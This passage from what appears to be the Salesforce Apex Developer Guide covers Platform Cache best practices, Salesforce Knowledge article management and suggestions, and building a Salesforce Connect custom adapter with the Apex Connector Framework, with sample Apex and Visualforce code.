consider breaking it into multiple items. Here’s an example of what to avoid.
// Don't do this!
public class MyController {
public void initCache() {
List<Account> accts = [SELECT Id, Name, Phone, Industry, Description FROM
Account limit 1000];
for (Integer i=0; i<accts.size(); i++) {
Cache.Org.put('acct' + i, accts.get(i));
}
}
}
Instead, wrap the data in a few reasonably large items without exceeding the limit on the size of single cached items.
// Do this instead.
public class MyController {
public void initCache() {
List<Account> accts = [SELECT Id, Name, Phone, Industry, Description FROM
Account limit 1000];
Cache.Org.put('accts', accts);
}
}
Another good example of caching larger items is to encapsulate data in an Apex class. For example, you can create a class that wraps
session data, and cache an instance of the class rather than the individual data items. Caching the class instance improves overall
serialization size and performance.
Be Aware of Cache Limits
When you add items to the cache, be aware of the following limits.
Cache Partition Size Limit
When the cache partition limit is reached, keys are evicted until the cache is reduced to 100% capacity. Platform Cache uses a least
recently used (LRU) algorithm to evict keys from the cache.
377
Platform Cache Best PracticesUsing Salesforce Features with Apex
Local Cache Size Limit
When you add items to the cache, make sure that you are not exceeding local cache limits within a request. The local cache limit
for the session cache is 500 KB and 1,000 KB for the org cache. If you exceed the local cache limit, items can be evicted from the local
cache before the request has been committed. This eviction can cause unexpected misses and long serialization time and can waste
resources.
Single Cached Item Size Limit
The size of individual cached items is limited to 100 KB. If the serialized size of an item exceeds this limit, the
Cache.ItemSizeLimitExceededException exception is thrown. It’s a good practice to catch this exception and reduce
the size of the cached item.
Use the Cache Diagnostics Page (Sparingly)
To determine how much of the cache is used, check the Platform Cache Diagnostics page. To reach the Diagnostics page:
1. Make sure that Cache Diagnostics is enabled for the user (on the User Detail page).
2. On the Platform Cache Partition page, click the partition name.
3. Click the link to the Diagnostics page for the partition.
The Diagnostics page provides valuable information, including the capacity usage, keys, and serialized and compressed sizes of the
cached items. The session cache and org cache have separate diagnostics pages. The session cache diagnostics are per session, and they
don’t provide insight across all active sessions.
Note: Generating the diagnostics page gathers all partition-related information and is an expensive operation. Use it sparingly.
Minimize Expensive Operations
Consider the following guidelines to minimize expensive operations.
•Use Cache.Org.getKeys() and Cache.Org.getCapacity() sparingly. Both methods are expensive, because they
traverse all partition-related information looking for or making calculations for a given partition.
Note: Cache.Session usage is not expensive.
•Avoid calling the contains(key) method followed by the get(key) method. If you intend to use the key value, simply call
the get(key) method and make sure that the value is not equal to null.
•Clear the cache only when necessary. Clearing the cache traverses all partition-related cache space, which is expensive. After clearing
the cache, your application will likely regenerate the cache by invoking database queries and computations. This regeneration can
be complex and extensive and impact your application’s performance.
SEE ALSO:
Platform Cache Limits
Salesforce Knowledge
Salesforce Knowledge is a knowledge base where users can easily create and manage content, known as articles, and quickly find and
view the articles they need.
Use Apex to access these Salesforce Knowledge features:
378
Salesforce KnowledgeUsing Salesforce Features with Apex
IN THIS SECTION:
Knowledge Management
Users can write, publish, archive, and manage articles using Apex in addition to the Salesforce user interface.
Promoted Search Terms
Promoted search terms are useful for promoting a Salesforce Knowledge article that you know is commonly used to resolve a support
issue when an end user’s search contains certain keywords. Users can promote an article in search results by associating keywords
with the article in Apex (by using the SearchPromotionRule sObject) in addition to the Salesforce user interface.
Suggest Salesforce Knowledge Articles
Provide users with shortcuts to navigate to relevant articles before they perform a search. Call Search.suggest(searchText,
objectType, options) to return a list of Salesforce Knowledge articles whose titles match a user’s search query string.
Knowledge Management
Users can write, publish, archive, and manage articles using Apex in addition to the Salesforce user interface.
Use the methods in the KbManagement.PublishingService class to manage the following parts of the lifecycle of an article
and its translations:
•Publishing
•Updating
•Retrieving
•Deleting
•Submitting for translation
•Setting a translation to complete or incomplete status
•Archiving
•Assigning review tasks for draft articles or translations
Note: Date values are based on GMT.
To use the methods in this class, you must enable Salesforce Knowledge. See Salesforce Knowledge Implementation Guide for more
information on setting up Salesforce Knowledge.
SEE ALSO:
PublishingService Class
Promoted Search Terms
Promoted search terms are useful for promoting a Salesforce Knowledge article that you know is commonly used to resolve a support
issue when an end user’s search contains certain keywords. Users can promote an article in search results by associating keywords with
the article in Apex (by using the SearchPromotionRule sObject) in addition to the Salesforce user interface.
Articles must be in published status (with a PublishSatus field value of Online) for you to manage their promoted terms.
379
Knowledge ManagementUsing Salesforce Features with Apex
Example: This code sample shows how to add a search promotion rule. This sample performs a query to get published articles
of type MyArticle__kav. Next, the sample creates a SearchPromotionRule sObject to promote articles that contain the word
“Salesforce” and assigns the first returned article to it. Finally, the sample inserts this new sObject.
// Identify the article to promote in search results
List<MyArticle__kav> articles = [SELECT Id FROM MyArticle__kav WHERE
PublishStatus='Online' AND Language='en_US' AND Id='Article Id'];
// Define the promotion rule
SearchPromotionRule s = new SearchPromotionRule(
Query='Salesforce',
PromotedEntity=articles[0]);
// Save the new rule
insert s;
To perform DML operations on the SearchPromotionRule sObject, you must enable Salesforce Knowledge.
Suggest Salesforce Knowledge Articles
Provide users with shortcuts to navigate to relevant articles before they perform a search. Call Search.suggest(searchText,
objectType, options) to return a list of Salesforce Knowledge articles whose titles match a user’s search query string.
To return suggestions, enable Salesforce Knowledge. See Salesforce Knowledge Implementation Guide for more information on setting
up Salesforce Knowledge.
This Visualforce page has an input field for searching articles or accounts. When the user presses the Suggest button, suggested records
are displayed. If there are more than five results, the More results button appears. To display more results, click the button.
<apex:page controller="SuggestionDemoController">
<apex:form >
<apex:pageBlock mode="edit" id="block">
<h1>Article and Record Suggestions</h1>
<apex:pageBlockSection >
<apex:pageBlockSectionItem >
<apex:outputPanel >
<apex:panelGroup >
<apex:selectList value="{!objectType}" size="1">
<apex:selectOption itemLabel="Account" itemValue="Account"
/>
<apex:selectOption itemLabel="Article"
itemValue="KnowledgeArticleVersion" />
<apex:actionSupport event="onchange" rerender="block"/>
</apex:selectList>
</apex:panelGroup>
<apex:panelGroup >
<apex:inputHidden id="nbResult" value="{!nbResult}" />
<apex:outputLabel for="searchText">Search Text</apex:outputLabel>
&nbsp;
<apex:inputText id="searchText" value="{!searchText}"/>
<apex:commandButton id="suggestButton" value="Suggest"
action="{!doSuggest}"
rerender="block"/>
380
Suggest Salesforce Knowledge ArticlesUsing Salesforce Features with Apex
<apex:commandButton id="suggestMoreButton" value="More
results..." action="{!doSuggestMore}"
rerender="block" style="{!IF(hasMoreResults,
'', 'display: none;')}"/>
</apex:panelGroup>
</apex:outputPanel>
</apex:pageBlockSectionItem>
</apex:pageBlockSection>
<apex:pageBlockSection title="Results" id="results" columns="1"
rendered="{!results.size>0}">
<apex:dataList value="{!results}" var="w" type="1">
Id: {!w.SObject['Id']}
<br />
<apex:panelGroup rendered="{!objectType=='KnowledgeArticleVersion'}">
Title: {!w.SObject['Title']}
</apex:panelGroup>
<apex:panelGroup rendered="{!objectType!='KnowledgeArticleVersion'}">
Name: {!w.SObject['Name']}
</apex:panelGroup>
<hr />
</apex:dataList>
</apex:pageBlockSection>
<apex:pageBlockSection id="noresults" rendered="{!results.size==0}">
No results
</apex:pageBlockSection>
<apex:pageBlockSection rendered="{!LEN(searchText)>0}">
Search text: {!searchText}
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
This code is the custom Visualforce controller for the page:
public class SuggestionDemoController {
public String searchText;
public String language = 'en_US';
public String objectType = 'Account';
public Integer nbResult = 5;
public Transient Search.SuggestionResults suggestionResults;
public String getSearchText() {
return searchText;
}
public void setSearchText(String s) {
searchText = s;
}
public Integer getNbResult() {
return nbResult;
}
381
Suggest Salesforce Knowledge ArticlesUsing Salesforce Features with Apex
public void setNbResult(Integer n) {
nbResult = n;
}
public String getLanguage() {
return language;
}
public void setLanguage(String language) {
this.language = language;
}
public String getObjectType() {
return objectType;
}
public void setObjectType(String objectType) {
this.objectType = objectType;
}
public List<Search.SuggestionResult> getResults() {
if (suggestionResults == null) {
return new List<Search.SuggestionResult>();
}
return suggestionResults.getSuggestionResults();
}
public Boolean getHasMoreResults() {
if (suggestionResults == null) {
return false;
}
return suggestionResults.hasMoreResults();
}
public PageReference doSuggest() {
nbResult = 5;
suggestAccounts();
return null;
}
public PageReference doSuggestMore() {
nbResult += 5;
suggestAccounts();
return null;
}
private void suggestAccounts() {
Search.SuggestionOption options = new Search.SuggestionOption();
Search.KnowledgeSuggestionFilter filters = new Search.KnowledgeSuggestionFilter();
if (objectType=='KnowledgeArticleVersion') {
filters.setLanguage(language);
382
Suggest Salesforce Knowledge ArticlesUsing Salesforce Features with Apex
filters.setPublishStatus('Online');
}
options.setFilter(filters);
options.setLimit(nbResult);
suggestionResults = Search.suggest(searchText, objectType, options);
}
}
SEE ALSO:
suggest(searchQuery, sObjectType, suggestions)
Salesforce Connect
Use the Apex Connector Framework to develop a custom adapter for Salesforce Connect. The custom adapter can retrieve data from
external systems and synthesize data locally. Salesforce Connect represents that data in Salesforce external objects, enabling users and
the Force.com platform to seamlessly interact with data that’s stored outside the Salesforce org.
IN THIS SECTION:
Salesforce Connect
Salesforce Connect provides seamless integration of data across system boundaries by letting your users view, search, and modify
data that’s stored outside your Salesforce org. For example, perhaps you have data that’s stored on premises in an enterprise resource
planning (ERP) system. Instead of copying the data into your org, you can use external objects to access the data in real time via web
service callouts.
Writable External Objects
By default, external objects are read only, but you can make them writable. Doing so lets Salesforce users and APIs create, update,
and delete data that’s stored outside the org by interacting with external objects within the org. For example, users can see all the
orders that reside in an SAP system that are associated with an account in Salesforce. Then, without leaving the Salesforce user
interface, they can place a new order or route an existing order. The relevant data is automatically created or updated in the SAP
system.
Get Started with the Apex Connector Framework
To get started with your first custom adapter for Salesforce Connect, create two Apex classes: one that extends the
DataSource.Connection class, and one that extends the DataSource.Provider class.
Key Concepts About the Apex Connector Framework
The DataSource namespace provides the classes for the Apex Connector Framework. Use the Apex Connector Framework to
develop a custom adapter for Salesforce Connect. Then connect your Salesforce org to any data anywhere via the Salesforce Connect
custom adapter.
Considerations for the Apex Connector Framework
Understand the limits and considerations for creating Salesforce Connect custom adapters with the Apex Connector Framework.
Apex Connector Framework Examples
These examples illustrate how to use the Apex Connector Framework to create custom adapters for Salesforce Connect.
383
Salesforce ConnectUsing Salesforce Features with Apex
Salesforce Connect
EDITIONS
Available in: both Salesforce
Classic and Lightning
Experience
Available in: Developer
Edition
Available for an extra cost
in: Enterprise, Performance,
and Unlimited Editions
Salesforce Connect provides seamless integration of data across system boundaries by letting your
users view, search, and modify data that’s stored outside your Salesforce org. For example, perhaps
you have data that’s stored on premises in an enterprise resource planning (ERP) system. Instead
of copying the data into your org, you can use external objects to access the data in real time via
web service callouts.
Traditionally, we’ve recommended importing or copying data into your Salesforce org to let your
users access that data. For example, extract, transform, and load (ETL) tools can integrate third-party
systems with Salesforce. However, doing so copies data into your org that you don’t need or that
quickly becomes stale.
In contrast, Salesforce Connect maps Salesforce external objects to data tables in external systems.
Instead of copying the data into your org, Salesforce Connect accesses the data on demand and in
real time. The data is never stale, and we access only what you need. We recommend that you use
Salesforce Connect when:
•You have a large amount of data that you don’t want to copy into your Salesforce org.
•You need small amounts of data at any one time.
•You want real-time access to the latest data.
Even though the data is stored outside your org, Salesforce Connect provides seamless integration with the Force.com platform. External
objects are available to Salesforce tools, such as global search, lookup relationships, record feeds, and the Salesforce1 app. External
objects are also available to Apex, SOSL, SOQL queries, Salesforce APIs, and deployment via the Metadata API, change sets, and packages.
For example, suppose that you store product order information in a back-office ERP system. You want to view those orders as a related
list on each customer record in your Salesforce org. Salesforce Connect enables you to set up a lookup relationship between the customer
object (parent) and the external object (child) for orders. Then you can set up the page layouts for the parent object to include a related
list that displays child records.
Going a step further, you can update the orders directly from the related list on the customer record. By default, external object records
are read only. But you can define the external data source to enable writable external objects.
For information about using Apex DML write operations on external object records, see the Force.com Apex Code Developer's Guide.
Example: This screenshot shows how Salesforce Connect can provide a seamless view of data across system boundaries. A record
detail page for the Business_Partner external object includes two related lists of child objects. The external lookup relationships
and page layouts enable users to view related data from inside and from outside the Salesforce org on a single page.
•Account standard object (1)
•Sales_Order external object (2)
384
Salesforce ConnectUsing Salesforce Features with Apex
IN THIS SECTION:
Salesforce Connect Adapters
Salesforce Connect uses a protocol-specific adapter to connect to an external system and access its data. When you define an external
data source in your organization, you specify the adapter in the Type field.
Salesforce Connect Custom Adapter
Connect to any data anywhere for a complete view of your business. Use the Apex Connector Framework to develop a custom
adapter for Salesforce Connect.
Salesforce Connect Adapters
EDITIONS
Available in: both Salesforce
Classic and Lightning
Experience
Available in: Developer
Edition
Available for an extra cost
in: Enterprise, Performance,
and Unlimited Editions
Salesforce Connect uses a protocol-specific adapter to connect to an external system and access
its data. When you define an external data source in your organization, you specify the adapter in
the Type field.
These adapters are available for Salesforce Connect.
Where to Find Callout LimitsDescriptionSalesforce
Connect
Adapter
No callout limits. However, each callout
counts toward the API usage limits of the
provider org.
Salesforce Help: API Usage Considerations
for Salesforce Connect—Cross-Org
Adapter
Uses the Force.com REST API to access
data that’s stored in other Salesforce
orgs.
Cross-org
385
Salesforce ConnectUsing Salesforce Features with Apex
Where to Find Callout LimitsDescriptionSalesforce
Connect
Adapter
Salesforce Limits Quick Reference Guide: API Requests Limits
Salesforce Help: General Limits for Salesforce
Connect—OData 2.0 and 4.0 Adapters
Uses Open Data Protocol to access data that’s stored
outside Salesforce. The external data must be exposed
via OData producers.
OData 2.0
OData 4.0
Apex Developer Guide: Callout Limits and Limitations
Apex Developer Guide: Execution Governors and Limits
You use the Apex Connector Framework to develop your
own custom adapter when the other available adapters
aren’t suitable for your needs.
A custom adapter can obtain data from anywhere. For
example, some data can be retrieved from anywhere in
Custom adapter
created via Apex
the Internet via callouts, while other data can be
manipulated or even generated programmatically.
SEE ALSO:
Salesforce Connect Custom Adapter
Salesforce Connect Custom Adapter
Connect to any data anywhere for a complete view of your business. Use the Apex Connector Framework to develop a custom adapter
for Salesforce Connect.
Your users and the Force.com platform interact with the external data via external objects. For each of those interactions, Salesforce
Connect invokes methods in the Apex classes that compose the custom adapter. Salesforce invokes the custom adapter’s Apex code
each time that:
•A user clicks an external object tab for a list view.
•A user views a record detail page of an external object.
•A user views a record detail page of a parent object that displays a related list of child external object records.
•A user performs a Salesforce global search.
•A user creates, edits, or deletes an external object record.
•A user runs a report.
•The preview loads in the report builder.
•An external object is queried via flows, APIs, Apex, SOQL, or SOSL.
•You validate or sync an external data source.
SEE ALSO:
Salesforce Connect Adapters
Get Started with the Apex Connector Framework
Key Concepts About the Apex Connector Framework
386
Salesforce ConnectUsing Salesforce Features with Apex
Writable External Objects
By default, external objects are read only, but you can make them writable. Doing so lets Salesforce users and APIs create, update, and
delete data that’s stored outside the org by interacting with external objects within the org. For example, users can see all the orders
that reside in an SAP system that are associated with an account in Salesforce. Then, without leaving the Salesforce user interface, they
can place a new order or route an existing order. The relevant data is automatically created or updated in the SAP system.
Access to external data depends on the connections between Salesforce and the external systems that store the data. Network latency
and the availability of the external systems can introduce timing issues with Apex write or delete operations on external objects.
Because of the complexity of these connections, Apex can’t execute standard insert(), update(), or create() operations
on external objects. Instead, Apex provides a specialized set of database methods and keywords to work around potential issues with
write execution. DML insert, update, create, and delete operations on external objects are either asynchronous or executed when specific
criteria are met.
This example uses the Database.insertAsync() method to insert a new order into a database table asynchronously. It returns
a SaveResult object that contains a unique identifier for the insert job.
public void createOrder () {
SalesOrder__x order = new SalesOrder__x ();
Database.SaveResult sr = Database.insertAsync (order);
if (! sr.isSuccess ()) {
String locator = Database.getAsyncLocator ( sr );
completeOrderCreation(locator);
}
}
Note: Writes performed on external objects through the Salesforce user interface or the API are synchronous and work the same
way as for standard and custom objects.
You can perform the following DML operations on external objects, either asynchronously or based on criteria: insert records, update
records, upsert records, or delete records. Use classes in the DataSource namespace to get the unique identifiers for asynchronous
jobs, or to retrieve results lists for upsert, delete, or save operations.
When you initiate an Apex method on an external object, a job is scheduled and placed in the background jobs queue. The
BackgroundOperation object lets you view the job status for write operations via the API or SOQL. Monitor job progress and related
errors in the org, extract statistics, process batch jobs, or see how many errors occur in a specified time period.
For usage information and examples, see Database Namespace on page 1649 and DataSource Namespace on page 1704.
SEE ALSO:
Salesforce Help: Writable External Objects Considerations for Salesforce Connect—All Adapters
Get Started with the Apex Connector Framework
To get started with your first custom adapter for Salesforce Connect, create two Apex classes: one that extends the
DataSource.Connection class, and one that extends the DataSource.Provider class.
Let’s step through the code of a sample custom adapter.
387
Writable External ObjectsUsing Salesforce Features with Apex
IN THIS SECTION:
1. Create a Sample DataSource.Connection Class
First, create a DataSource.Connection class to enable Salesforce to obtain the external system’s schema and to handle
queries and searches of the external data.
2. Create a Sample DataSource.Provider Class
Now you need a class that extends and overrides a few methods in DataSource.Provider.
3. Set Up Salesforce Connect to Use Your Custom Adapter
After you create your DataSource.Connection and DataSource.Provider classes, the Salesforce Connect custom
adapter becomes available in Setup.
Create a Sample DataSource.Connection Class
First, create a DataSource.Connection class to enable Salesforce to obtain the external system’s schema and to handle queries
and searches of the external data.
global class SampleDataSourceConnection
extends DataSource.Connection {
global SampleDataSourceConnection(DataSource.ConnectionParams
connectionParams) {
}
// ...
The DataSource.Connection class contains these methods.
•query
•search
•sync
•upsertRows
•deleteRows
sync
The sync() method is invoked when an administrator clicks the Validate and Sync button on the external data source detail page.
It returns information that describes the structural metadata on the external system.
Note: Changing the sync method on the DataSource.Connection class doesn’t automatically resync any external
objects.
// ...
override global List<DataSource.Table> sync() {
List<DataSource.Table> tables =
new List<DataSource.Table>();
List<DataSource.Column> columns;
columns = new List<DataSource.Column>();
columns.add(DataSource.Column.text('Name', 255));
columns.add(DataSource.Column.text('ExternalId', 255));
columns.add(DataSource.Column.url('DisplayUrl'));
tables.add(DataSource.Table.get('Sample','Title',
columns));
return tables;
388
Get Started with the Apex Connector FrameworkUsing Salesforce Features with Apex
}
// ...
query
The query method is invoked when a SOQL query is executed on an external object. A SOQL query is automatically generated and
executed when a user opens an external object’s list view or detail page in Salesforce. The DataSource.QueryContext is always
only for a single table.
This sample custom adapter uses a helper method in the DataSource.QueryUtils class to filter and sort the results based on
the WHERE and ORDER BY clauses in the SOQL query.
The DataSource.QueryUtils class and its helper methods can process query results locally within your Salesforce org. This class
is provided for your convenience to simplify the development of your Salesforce Connect custom adapter for initial tests. However, the
DataSource.QueryUtils class and its methods aren’t supported for use in production environments that use callouts to retrieve
data from external systems. Complete the filtering and sorting on the external system before sending the query results to Salesforce.
When possible, use server-driven paging or another technique to have the external system determine the appropriate data subsets
according to the limit and offset clauses in the query.
// ...
override global DataSource.TableResult query(
DataSource.QueryContext context) {
if (context.tableSelection.columnsSelected.size() == 1 &&
context.tableSelection.columnsSelected.get(0).aggregation ==
DataSource.QueryAggregation.COUNT) {
List<Map<String,Object>> rows = getRows(context);
List<Map<String,Object>> response =
DataSource.QueryUtils.filter(context, getRows(context));
List<Map<String,Object>> countResponse =
new List<Map<String,Object>>();
Map<String,Object> countRow =
new Map<String,Object>();
countRow.put(
context.tableSelection.columnsSelected.get(0).columnName,
response.size());
countResponse.add(countRow);
return DataSource.TableResult.get(context,
countResponse);
}else {
List<Map<String,Object>> filteredRows =
DataSource.QueryUtils.filter(context, getRows(context));
List<Map<String,Object>> sortedRows =
DataSource.QueryUtils.sort(context, filteredRows);
List<Map<String,Object>> limitedRows =
DataSource.QueryUtils.applyLimitAndOffset(context,
sortedRows);
return DataSource.TableResult.get(context, limitedRows);
}
}
// ...
389
Get Started with the Apex Connector FrameworkUsing Salesforce Features with Apex
search
The search method is invoked by a SOSL query of an external object or when a user performs a Salesforce global search that also
searches external objects. Because search can be federated over multiple objects, the DataSource.SearchContext can have
multiple tables selected. In this example, however, the custom adapter knows about only one table.
// ...
override global List<DataSource.TableResult> search(
DataSource.SearchContext context) {
List<DataSource.TableResult> results =
new List<DataSource.TableResult>();
for (DataSource.TableSelection tableSelection :
context.tableSelections) {
results.add(DataSource.TableResult.get(tableSelection,
getRows(context)));
}
return results;
}
// ...
The following is the getRows helper method that the search sample calls to get row values from the external system. The getRows
method makes use of other helper methods:
•makeGetCallout makes a callout to the external system.
•foundRow populates a row based on values from the callout result. The foundRow method is used to make any modifications
to the returned field values, such as changing a field name or modifying a field value.
These methods aren’t included in this snippet but are available in the full example included in Connection Class. Typically, the filter from
SearchContext or QueryContext would be used to reduce the result set, but for simplicity this example doesn’t make use of
the context object.
// ...
// Helper method to get record values from the external system for the Sample table.
private List<Map<String,Object>> getRows () {
// Get row field values for the Sample table from the external system via a callout.
HttpResponse response = makeGetCallout();
// Parse the JSON response and populate the rows.
Map<String,Object> m = (Map<String,Object>)JSON.deserializeUntyped(
response.getBody());
Map<String,Object> error = (Map<String,Object>)m.get('error');
if (error != null) {
throwException(string.valueOf(error.get('message')));
}
List<Map<String,Object>> rows = new List<Map<String,Object>>();
List<Object> jsonRows = (List<Object>)m.get('value');
if (jsonRows == null) {
rows.add(foundRow(m));
}else {
for (Object jsonRow : jsonRows) {
Map<String,Object> row = (Map<String,Object>)jsonRow;
rows.add(foundRow(row));
}
}
return rows;
390
Get Started with the Apex Connector FrameworkUsing Salesforce Features with Apex
}
// ...
upsertRows
The upsertRows method is invoked when external object records are created or updated. You can create or update external object
records through the Salesforce user interface or DML. The following example provides a sample implementation for the upsertRows
method. The example uses the passed-in UpsertContext to determine what table was selected and performs the upsert only if
the name of the selected table is Sample. The upsert operation is broken up into either an insert of a new record or an update of an
existing record. These operations are performed in the external system using callouts. An array of DataSource.UpsertResult
is populated from the results obtained from the callout responses. Note that because a callout is made for each row, this example might
hit the Apex callouts limit.
// ...
global override List<DataSource.UpsertResult> upsertRows(DataSource.UpsertContext
context) {
if (context.tableSelected == 'Sample') {
List<DataSource.UpsertResult> results = new List<DataSource.UpsertResult>();
List<Map<String,Object>> rows = context.rows;
for (Map<String,Object> row : rows){
// Make a callout to insert or update records in the external system.
HttpResponse response;
// Determine whether to insert or update a record.
if (row.get('ExternalId') == null){
// Send a POST HTTP request to insert new external record.
// Make an Apex callout and get HttpResponse.
response = makePostCallout(
'{"name":"' + row.get('Name')+'","ExternalId":"' +
row.get('ExternalId')+'"');
}
else {
// Send a PUT HTTP request to update an existing external record.
// Make an Apex callout and get HttpResponse.
response = makePutCallout(
'{"name":"' + row.get('Name')+'","ExternalId":"' +
row.get('ExternalId')+'"',
String.valueOf(row.get('ExternalId')));
}
// Check the returned response.
// Deserialize the response.
Map<String,Object> m = (Map<String,Object>)JSON.deserializeUntyped(
response.getBody());
if (response.getStatusCode() == 200){
results.add(DataSource.UpsertResult.success(
String.valueOf(m.get('id'))));
}
else {
results.add(DataSource.UpsertResult.failure(
String.valueOf(m.get('id')),
'The callout resulted in an error: ' +
response.getStatusCode()));
391
Get Started with the Apex Connector FrameworkUsing Salesforce Features with Apex
}
}
return results;
}
return null;
}
// ...
deleteRows
The deleteRows method is invoked when external object records are deleted. You can delete external object records through the
Salesforce user interface or DML. The following example provides a sample implementation for the deleteRows method. The example
uses the passed-in DeleteContext to determine what table was selected and performs the deletion only if the name of the selected
table is Sample. The deletion is performed in the external system using callouts for each external ID. An array of
DataSource.DeleteResult is populated from the results obtained from the callout responses. Note that because a callout is
made for each ID, this example might hit the Apex callouts limit.
// ...
global override List<DataSource.DeleteResult> deleteRows(DataSource.DeleteContext
context) {
if (context.tableSelected == 'Sample'){
List<DataSource.DeleteResult> results = new List<DataSource.DeleteResult>();
for (String externalId : context.externalIds){
HttpResponse response = makeDeleteCallout(externalId);
if (response.getStatusCode() == 200){
results.add(DataSource.DeleteResult.success(externalId));
}
else {
results.add(DataSource.DeleteResult.failure(externalId,
'Callout delete error:'
+ response.getBody()));
}
}
return results;
}
return null;
}
// ...
SEE ALSO:
Execution Governors and Limits
Connection Class
Filters in the Apex Connector Framework
Create a Sample DataSource.Provider Class
Now you need a class that extends and overrides a few methods in DataSource.Provider.
392
Get Started with the Apex Connector FrameworkUsing Salesforce Features with Apex
Your DataSource.Provider class informs Salesforce of the functional and authentication capabilities that are supported by or
required to connect to the external system.
global class SampleDataSourceProvider extends DataSource.Provider {
If the external system requires authentication, Salesforce can provide the authentication credentials from the external data source
definition or users’ personal settings. For simplicity, however, this example declares that the external system doesn’t require authentication.
To do so, it returns AuthenticationCapability.ANONYMOUS as the sole entry in the list of authentication capabilities.
override global List<DataSource.AuthenticationCapability>
getAuthenticationCapabilities() {
List<DataSource.AuthenticationCapability> capabilities =
new List<DataSource.AuthenticationCapability>();
capabilities.add(
DataSource.AuthenticationCapability.ANONYMOUS);
return capabilities;
}
This example also declares that the external system allows SOQL queries, SOSL queries, Salesforce searches, upserting data, and deleting
data.
•To allow SOQL, the example declares the DataSource.Capability.ROW_QUERY capability.
•To allow SOSL and Salesforce searches, the example declares the DataSource.Capability.SEARCH capability.
•To allow upserting external data, the example declares the DataSource.Capability.ROW_CREATE and
DataSource.Capability.ROW_UPDATE capabilities.
•To allow deleting external data, the example declares the DataSource.Capability.ROW_DELETE capability.
override global List<DataSource.Capability> getCapabilities()
{
List<DataSource.Capability> capabilities = new
List<DataSource.Capability>();
capabilities.add(DataSource.Capability.ROW_QUERY);
capabilities.add(DataSource.Capability.SEARCH);
capabilities.add(DataSource.Capability.ROW_CREATE);
capabilities.add(DataSource.Capability.ROW_UPDATE);
capabilities.add(DataSource.Capability.ROW_DELETE);
return capabilities;
}
Lastly, the example identifies the SampleDataSourceConnection class that obtains the external system’s schema and handles
the queries and searches of the external data.
override global DataSource.Connection getConnection(
DataSource.ConnectionParams connectionParams) {
return new SampleDataSourceConnection(connectionParams);
}
}
SEE ALSO:
Provider Class
393
Get Started with the Apex Connector FrameworkUsing Salesforce Features with Apex
Set Up Salesforce Connect to Use Your Custom Adapter
After you create your DataSource.Connection and DataSource.Provider classes, the Salesforce Connect custom
adapter becomes available in Setup.
Complete the tasks that are described in “Set Up Salesforce Connect to Access External Data with a Custom Adapter” in the Salesforce
Help.
To add write capability for external objects to your adapter:
1. Make the external data source for this adapter writable. See “Define an External Data Source for Salesforce Connect—Custom Adapter”
in the Salesforce Help.
2. Implement the DataSource.Connection.upsertRows() and DataSource.Connection.deleteRows()
methods for the adapter. For details, see Connection Class on page 1728.
Key Concepts About the Apex Connector Framework
The DataSource namespace provides the classes for the Apex Connector Framework. Use the Apex Connector Framework to develop
a custom adapter for Salesforce Connect. Then connect your Salesforce org to any data anywhere via the Salesforce Connect custom
adapter.
We recommend that you learn about some key concepts to help you use the Apex Connector Framework effectively.
IN THIS SECTION:
External IDs for Salesforce Connect External Objects
When you access external data with a custom adapter for Salesforce Connect, the values of the External ID standard field on an
external object come from the DataSource.Column named ExternalId.
Callouts for Salesforce Connect Custom Adapters
Just like any other Apex code, a Salesforce Connect custom adapter can make callouts. If the connection to the external system
requires authentication, incorporate the authentication parameters into the callout.
Paging with the Apex Connector Framework
When displaying a large set of records in the user interface, Salesforce breaks the set into batches and displays one batch. You can
then page through those batches. However, custom adapters for Salesforce Connect don’t automatically support paging of any
kind. To support paging through external object data that’s obtained by a custom adapter, implement server-driven or client-driven
paging.
queryMore with the Apex Connector Framework
Custom adapters for Salesforce Connect don’t automatically support the queryMore method in API queries. However, your
implementation must be able to break up large result sets into batches and iterate over them by using the queryMore method
in the SOAP API. The default batch size is 500 records, but the query developer can adjust that value programmatically in the query
call.
Aggregation for Salesforce Connect Custom Adapters
If you receive a COUNT() query, the selected column has the value QueryAggregation.COUNT in its aggregation
property. The selected column is provided in the columnsSelected property on the tableSelection for the
DataSource.QueryContext.
Filters in the Apex Connector Framework
The DataSource.QueryContext contains one DataSource.TableSelection. The
DataSource.SearchContext can have more than one TableSelection. Each TableSelection has a filter
property that represents the WHERE clause in a SOQL or SOSL query.
394
Key Concepts About the Apex Connector FrameworkUsing Salesforce Features with Apex
External IDs for Salesforce Connect External Objects
When you access external data with a custom adapter for Salesforce Connect, the values of the External ID standard field on an external
object come from the DataSource.Column named ExternalId.
Each external object has an External ID standard field. Its values uniquely identify each external object record in your org. When
the external object is the parent in an external lookup relationship, the External ID standard field is used to identify the child records.
Important:
•The custom adapter’s Apex code must declare the DataSource.Column named ExternalId and provide its values.
•Don’t use sensitive data as the values of the External ID standard field, because Salesforce sometimes stores those values.
–External lookup relationship fields on child records store and display the External ID values of the parent records.
–For internal use only, Salesforce stores the External ID value of each row that’s retrieved from the external system. This
behavior doesn’t apply to external objects that are associated with high-data-volume external data sources.
Example: This excerpt from a sample DataSource.Connection class shows the DataSource.Column named
ExternalId.
override global List<DataSource.Table> sync() {
List<DataSource.Table> tables =
new List<DataSource.Table>();
List<DataSource.Column> columns;
columns = new List<DataSource.Column>();
columns.add(DataSource.Column.text('title', 255));
columns.add(DataSource.Column.text('description',255));
columns.add(DataSource.Column.text('createdDate',255));
columns.add(DataSource.Column.text('modifiedDate',255));
columns.add(DataSource.Column.url('selfLink'));
columns.add(DataSource.Column.url('DisplayUrl'));
columns.add(DataSource.Column.text('ExternalId',255));
tables.add(DataSource.Table.get('googleDrive','title',
columns));
return tables;
}
SEE ALSO:
Column Class
Authentication for Salesforce Connect Custom Adapters
Your DataSource.Provider class declares what types of credentials can be used to authenticate to the external system.
If your extension of the DataSource.Provider class returns DataSource.AuthenticationCapability values that
indicate support for authentication, the DataSource.Connection class is instantiated with a
DataSource.ConnectionParams instance in the constructor.
The authentication credentials in the DataSource.ConnectionParams instance depend on the Identity Type field of
the external data source definition in Salesforce.
•If Identity Type is set to Named Principal, the credentials come from the external data source definition.
395
Key Concepts About the Apex Connector FrameworkUsing Salesforce Features with Apex
•If Identity Type is set to Per User:
–For queries and searches, the credentials are specific to the current user who invokes the query or search. The credentials come
from the user’s authentication settings for the external system.
–For administrative connections, such as syncing the external system’s schema, the credentials come from the external data
source definition.
SEE ALSO:
OAuth for Salesforce Connect Custom Adapters
OAuth for Salesforce Connect Custom Adapters
If you use OAuth 2.0 to access external data, learn how to avoid access interruptions caused by expired access tokens.
